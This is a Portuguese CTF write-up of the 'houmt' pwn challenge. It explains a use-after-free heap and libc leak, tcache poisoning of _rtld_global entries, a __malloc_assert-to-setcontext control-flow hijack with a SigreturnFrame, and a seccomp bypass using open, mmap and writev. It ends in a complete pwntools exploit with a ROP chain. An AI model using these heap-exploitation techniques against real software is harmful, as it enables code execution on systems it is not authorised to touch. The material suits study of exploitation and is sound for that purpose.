Exploração da Vulnerabilidade no Desafio CTF houmt

Recentemente, decidi tentar reproduzir a solução do desafio AWD (Attack with Defense) do mestre winmt. Devo admitir que o mestre winmt é incrível, pois este desafio, criado durante o primeiro ano universitário, já apresenta um nível de dificuldade considerável.

Vazamento de Endereço

A operação show imprime cada byte individualmente após aplicar uma operação XOR duas vezes. Na prática, isso equivale a uma única operação XOR, já que a segunda é com o valor 0. A primeira operação XOR é com o próximo byte. Portanto, se os dados no heap forem 0xabcd, a impressão, do byte menos significativo para o mais significativo, seria d ^ c, c ^ b, b ^ a, a ^ 0.

Verificações e Proteções

A operação add inclui uma verificação que impede a alocação de endereços relacionados ao libc. Isso elimina a possibilidade de usar a técnica covnencional de exploração via IO, muito menos qualquer manipulação de hooks.


<getkeyserv_handle+576>:      mov    rdx,QWORD PTR [rdi+0x8]
<getkeyserv_handle+580>:      mov    QWORD PTR [rsp],rax
<getkeyserv_handle+584>:      call   QWORD PTR [rdx+0x20]
<getkeyserv_handle+587>:      mov    QWORD PTR [rbx],0x0

Cadeia de Chamadas e Fluxo de Ataque

A estratégia consiste em utilizar uma vulnerabilidade de Use-After-Free (UAF) para realizar um ataque de tcache poisoning. O objetivo é gravar dados nos endereços ld_base + ld.sym['_rtld_global'] + 0xf90 e ld_base + ld.sym['_rtld_global'] + 0x978.

Além disso, explora-se uma característica da estrutura tcache_perthread_struct: quando um chunk alocado a partir dela é utilizado, a chave do chunk (localizada no offset +8) é zerada. Essa propriedade pode ser usada para anular a vtable do stderr.

Quanto à cadeia de IO, não há verificações adicionais a serem contornadas; basta garantir que a vtable seja inválida.

A cadeia de chamadas para desviar o fluxo de execução é:


_int_malloc
  → sysmalloc
    → __malloc_assert
      → __fxprintf
        → locked_vfxprintf
          → __vfprintf_internal
            → buffered_vfprintf
              → _IO_vtable_check
                → _dl_addr
                  → call qword ptr [r13 + 0xf90]  (getkeyserv_handle+576)

O controle do fluxo é relativamente direto: basta controlar o valor em ld_base + ld.sym['_rtld_global'] + 0xf90 (alvo da instrução call).

O endereço ld_base + ld.sym['_rtld_global'] + 0x978 controla o registrador rdi.

A abordagem para ler a flag (ORW - open/read/write) segue estes passos:

  • Definir o alvo do call para getkeyserv_handle+576 (para controlar rdx).
  • Controlar rdi e, simultaneamente, preparar o próximo call para setcontext + 61, utilizando um SigreturnFrame para configurar os registradores.
  • Executar read para carregar o shellcode ORW no endereço de __free_hook. Como o rsp no SigreturnFrame aponta para __free_hook, após a conclusão do read, o fluxo é redirecionado diretamente para o shellcode ORW.

Os dados a serem gravados em ld_base + ld.sym['_rtld_global'] + 0x980 são:


endereco_alvo = libc_base + libc.sym['__free_hook']  
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = endereco_alvo    # rsi
frame.rdx = 0x100
frame.rsp = endereco_alvo    # rsp
frame.rip = libc_base + libc.sym['read']
frame.r12=0xdeadbeef
payload=p64(0xdeadbeef)
payload+=p64(0xdeadbeef)  # rdi
payload += p64(ld_base + ld.sym['_rtld_global'] + 0x988)   #rdx
payload += p64(0)*2 
payload += p64(libc_base + libc.sym['setcontext'] + 61)   #[rdx+0x20]
payload += bytes(frame)[0x28:]

_dl_addr

Podemos observar que r13 + 0xf90 corresponde a ld_base + ld.sym['_rtld_global'] + 0xf90, e rdi corresponde a ld_base + ld.sym['_rtld_global'] + 0x978.

Tendo agora controle sobre rdi, podemos controlar rdx utilizando o trecho de código a seguir. Em seguida, combinando com o código subsequente, obtemos controle total sobre rdx.


<getkeyserv_handle+576>    mov    rdx, qword ptr [rdi + 8]
<getkeyserv_handle+580>    mov    qword ptr [rsp], rax
<getkeyserv_handle+584>    call   qword ptr [rdx + 0x20]

Com o controle de rdx, a próxima etapa crucial envolve o gadget setcontext+61. A técnica precisa para controlar os registradores individuais finalmante se torna clara: utiliza-se a estrutura SigreturnFrame. O layout dos registradores dentro dela é quase idêntico ao que é restaurado em setcontext+61; basta ajustar os offsets. No payload, usamos bytes(frame)[0x28:].

Evadindo o Sandbox

O sandbox proíbe as syscalls close, pread64, readv, write e pwrite64. Além disso, o primeiro argumento de read deve ser estritamente 0, e close também está desabilitado.

A estratégia de exploração proposta é:

  1. Usar open para abrir o arquivo flag.
  2. Usar mmap para mapear o conteúdo do arquivo na memória, por exemplo: mmap(0x80000, 0x1000, 1, 1, 3, 0).
  3. Usar writev (permitida?) para imprimir a flag. O endereço addr no argumento não deve ser 0x80000 diretamente, mas sim um ponteiro para o endereço 0x80000.

Exploit Completo


from pwn import *

context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./houmt")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")

def aloca(conteudo):
    io.sendlineafter("Please input your choice > ", b'1')
    io.sendafter("Please input the content : \n", conteudo)

def edita(indice, conteudo):
    io.sendlineafter("Please input your choice > ", b'2')
    io.sendlineafter("Please input the index : ", str(indice))
    io.sendafter("Please input the content : \n", conteudo)

def libera(indice):
    io.sendlineafter("Please input your choice > ", b'3')
    io.sendlineafter("Please input the index : ", str(indice))

def exibe(indice):
    io.sendlineafter("Please input your choice > ", b'4')
    io.sendlineafter("Please input the index : ", str(indice))

def sair():
    io.sendlineafter("Please input your choice > ", b'5')

# Endereços de funções principais (offsets do binário)
libera_func = 0x1ABF
exibe_func = 0x1C26
edita_func = 0x01A1F 
aloca_leitura = 0x193A
aloca_func = 0x018AB

# Aloca chunks iniciais
for i in range(8):
    aloca("\n") # Índices 0 a 7

# Vazamento do Heap via use-after-free na operação 'show'
libera(0)
exibe(0)
vazamento_heap = []
for i in range(5):
    vazamento_heap.append(u8(io.recv(1)))

# Decodificação da chave (proteção safe-linking)
vazamento_heap[3] = vazamento_heap[3] ^ vazamento_heap[4]
vazamento_heap[2] = vazamento_heap[2] ^ vazamento_heap[3]
vazamento_heap[1] = vazamento_heap[1] ^ vazamento_heap[2]
vazamento_heap[0] = vazamento_heap[0] ^ vazamento_heap[1]

dados_heap = b''
for valor in vazamento_heap[:5]:
    dados_heap += p8(valor)
chave_heap = u64(dados_heap.ljust(8, b'\x00'))
base_heap = chave_heap << 12
log.success(f"Base do Heap: {hex(base_heap)}")

# Libera chunks adicionais e prepara para vazamento do libc
for idx in range(1, 6):
    libera(idx)
libera(7)
libera(6)
exibe(6)

vazamento_libc = []
for i in range(6):
    byte = u8(io.recv(1))
    vazamento_libc.append(byte)
    log.info(f"Byte {i}: {hex(byte)}")

# Decodificação do endereço do libc
vazamento_libc[4] = vazamento_libc[4] ^ vazamento_libc[5]
vazamento_libc[3] = vazamento_libc[3] ^ vazamento_libc[4]
vazamento_libc[2] = vazamento_libc[2] ^ vazamento_libc[3]
vazamento_libc[1] = vazamento_libc[1] ^ vazamento_libc[2]
vazamento_libc[0] = vazamento_libc[0] ^ vazamento_libc[1]

endereco_libc = b''
for valor in vazamento_libc:
    endereco_libc += p8(valor)
base_libc = u64(endereco_libc.ljust(8, b'\x00')) - 0x1e0c00
log.success(f"Base do Libc: {hex(base_libc)}")
base_ld = base_libc + 0x1ee000

# Corrige o ponteiro next do chunk livre (tcache poisoning inicial)
edita(7, p64(chave_heap ^ (base_heap + 0xf0)))
aloca("\n") # Índice 8
aloca(p64(0) + p64(0x111) + p64(0) + p64(base_heap + 0x100)) # Índice 9

# Endereço mágico no libc
gadget_magico = base_libc + 0x14a0a0

# Sobrescreve o ponteiro para o rtld_global
aloca(p64(0) + p64(base_ld + ld.sym['_rtld_global'] + 0xf90)) # Índice 10
alvo_f90 = base_ld + ld.sym['_rtld_global'] + 0xf90
log.info(f"Alvo para call (rtld_global+0xf90): {hex(alvo_f90)}")

aloca(p64(gadget_magico)) # Índice 11
libera(10)
aloca(p64(0) + p64(base_ld + ld.sym['_rtld_global'] + 0x980)) # Índice 12
alvo_980 = base_ld + ld.sym['_rtld_global'] + 0x980

# Payload para redirecionar execução via SigreturnFrame
endereco_hook = base_libc + libc.sym['__free_hook']  
frame_sinal = SigreturnFrame()
frame_sinal.rdi = 0
frame_sinal.rsi = endereco_hook
frame_sinal.rdx = 0x100
frame_sinal.rsp = endereco_hook
frame_sinal.rip = base_libc + libc.sym['read']
frame_sinal.r12 = 0xdeadbeef

payload_exec = p64(0xdeadbeef)
payload_exec += p64(0xdeadbeef)  # rdi
payload_exec += p64(base_ld + ld.sym['_rtld_global'] + 0x988)   # rdx
payload_exec += p64(0)*2 
payload_exec += p64(base_libc + libc.sym['setcontext'] + 61)   # [rdx+0x20]
payload_exec += bytes(frame_sinal)[0x28:]
aloca(payload_exec) # Índice 13

libera(10)

# Prepara estrutura para desvio final
aloca(p64(0) + p64(base_libc + libc.sym['_IO_2_1_stderr_'] + 0xd0)) # Índice 14

io.sendlineafter("Please input your choice > ", b'1')
libera(10)
aloca(p64(0) + p64(base_heap + 0xb10)) # Índice 15
aloca(p64(0) + p64(0x88)) # Índice 16
aloca("aaaaaaaa") # Índice 17

# Disparo da corrente de execução
io.sendlineafter("Please input your choice > ", b'1') # Índice 18

# Gadgets do libc para a ROP chain
pop_rax_ret = base_libc + 0x44c70
pop_rdi_ret = base_libc + 0x121b1d
pop_rsi_ret = base_libc + 0x2a4cf
pop_rdx_ret = base_libc + 0xc7f32
pop_rcx_rbx_ret = base_libc + 0xfc104
pop_r8_ret = base_libc + 0x148686
syscall_ret = base_libc + 0x6105a

# Construção da ROP chain para open/mmap/writev (ORW)
rop_orw = p64(pop_rdi_ret) + p64(endereco_hook + 0xd0) # './flag\x00'
rop_orw += p64(pop_rsi_ret) + p64(0)
rop_orw += p64(pop_rax_ret) + p64(2) + p64(syscall_ret) # open('./flag', O_RDONLY)
rop_orw += p64(pop_rdi_ret) + p64(0x80000)
rop_orw += p64(pop_rsi_ret) + p64(0x1000)
rop_orw += p64(pop_rdx_ret) + p64(1)
rop_orw += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
rop_orw += p64(pop_r8_ret) + p64(3)
rop_orw += p64(base_libc + libc.sym['mmap']) # mmap(0x80000, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0)
rop_orw += p64(pop_rdi_ret) + p64(1)
rop_orw += p64(pop_rsi_ret) + p64(endereco_hook + 0xd8)
rop_orw += p64(pop_rdx_ret) + p64(1)
rop_orw += p64(base_libc + libc.sym['writev']) # writev(stdout, iov, 1)
# Dados para os iovs (endereço do mapeamento e tamanho)
rop_orw += b'./flag\x00\x00' + p64(0x80000) + p64(0x50)

# Envia a ROP chain final
io.send(rop_orw)
io.interactive()

Referência original: https://www.cnblogs.com/winmt/

Tags: CTF heap-exploitation tcache-poisoning exploit Linux

Publicado em 6-14 05:55 por Thomas